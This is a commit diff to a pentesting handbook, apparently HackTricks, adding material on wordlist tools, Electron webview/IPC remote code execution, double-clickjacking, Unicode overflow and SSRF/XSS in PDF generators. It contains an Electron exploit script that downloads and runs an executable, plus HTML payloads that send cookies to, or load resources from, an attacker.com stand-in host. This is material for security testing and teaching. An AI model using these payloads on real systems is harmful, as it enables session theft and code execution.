Skip to content

Commit 10716fa

Browse files
committed
impr
1 parent 89c0494 commit 10716fa

File tree

5 files changed

+63
-2
lines changed

5 files changed

+63
-2
lines changed

src/generic-hacking/brute-force.md

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -36,10 +36,17 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
3636
crunch 6 8 -t ,@@^^%%
3737
```
3838
39-
### Cewl
39+
### Website based wordlists
4040
4141
```bash
42+
# Cewl gets words from the victims page
4243
cewl example.com -m 5 -w words.txt
44+
45+
# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs
46+
cat /path/to/urls.txt | tok
47+
48+
# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs
49+
cat /path/to/js-urls.txt | python3 getjswords.py
4350
```
4451
4552
### [CUPP](https://github.com/Mebus/cupp)

src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -248,6 +248,31 @@ In macos, the `openExternal` function can be exploited to execute arbitrary comm
248248
</script>
249249
```
250250
251+
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
252+
253+
This vuln can be found in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
254+
255+
The **webviewTag** is a **deprecated feature** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the preload context like:
256+
257+
```xml
258+
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
259+
```
260+
261+
Therefore, an attacker that manages to load an arbitrary page could use that tag to **load an arbitrary preload script**.
262+
263+
This preload script was abused then to call a **vulnerable IPC service (`skype-new-window`)** which was calling calling **`shell.openExternal`** to get RCE:
264+
265+
```javascript
266+
(async() => {
267+
const { ipcRenderer } = require("electron");
268+
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
269+
setTimeout(async () => {
270+
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
271+
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
272+
}, 5000);
273+
})();
274+
```
275+
251276
## Reading Internal Files: XSS + contextIsolation
252277
253278
**Disabling `contextIsolation` enables the use of `<webview>` tags**, similar to `<iframe>`, for reading and exfiltrating local files. An example provided demonstrates how to exploit this vulnerability to read the contents of internal files:

src/pentesting-web/clickjacking.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -106,6 +106,8 @@ Firstly [explained in this post](https://securityaffairs.com/172572/hacking/doub
106106

107107
An example could be seen in this video: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
108108

109+
A code example can be found in [this page](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html).
110+
109111
> [!WARNING]
110112
> This technique allows to trick the user to click on 1 place in the victim page bypassing every protection against clickjacking. So the attacker needs to find **sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions**.
111113

src/pentesting-web/unicode-injection/unicode-normalization.md

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -99,10 +99,20 @@ When the backend is **checking user input with a regex**, it might be possible t
9999

100100
The tool [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* allows to **generate variation of the input** to fuzz the backend. Fore more info check the **github** and this [**post**](https://0xacb.com/2022/11/21/recollapse/).
101101

102+
## Unicode Overflow
103+
104+
From this [blog](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows), the maximum value of a byte is 255, if the server is vulnerable, an overflow can be crafted to produce a specific and unexpected ASCII character. For example, the following characters will be converted to `A`:
105+
106+
- 0x4e41
107+
- 0x4f41
108+
- 0x5041
109+
- 0x5141
110+
102111
## References
103112

104113
- [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
105114
- [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
106115
- [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
116+
- [https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
107117

108118
{{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md

Lines changed: 18 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,7 @@ Also, note that in a regular exploitation you will be **able to see/download the
2323
### Discovery
2424

2525
```html
26-
<!-- Basic discovery, Write somthing-->
26+
<!-- Basic discovery, Write something-->
2727
<img src="x" onerror="document.write('test')" />
2828
<script>document.write(JSON.stringify(window.location))</script>
2929
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
@@ -33,6 +33,22 @@ Also, note that in a regular exploitation you will be **able to see/download the
3333
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
3434
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
3535
<link rel=attachment href="http://attacker.com">
36+
37+
<!-- Using base HTML tag -->
38+
<base href="http://attacker.com" />
39+
40+
<!-- Loading external stylesheet -->
41+
<link rel="stylesheet" src="http://attacker.com" />
42+
43+
<!-- Meta-tag to auto-refresh page -->
44+
<meta http-equiv="refresh" content="0; url=http://attacker.com/" />
45+
46+
<!-- Loading external components -->
47+
<input type="image" src="http://attacker.com" />
48+
<video src="http://attacker.com" />
49+
<audio src="http://attacker.com" />
50+
<audio><source src="http://attacker.com"/></audio>
51+
<svg src="http://attacker.com" />
3652
```
3753

3854
### SVG
@@ -185,6 +201,7 @@ Capturing the **PDF response** with burp should also **show the attachment in cl
185201
- [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
186202
- [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
187203
- [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
204+
- [https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators](https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators)
188205
189206
{{#include ../../banners/hacktricks-training.md}}
190207

0 commit comments

Comments
 (0)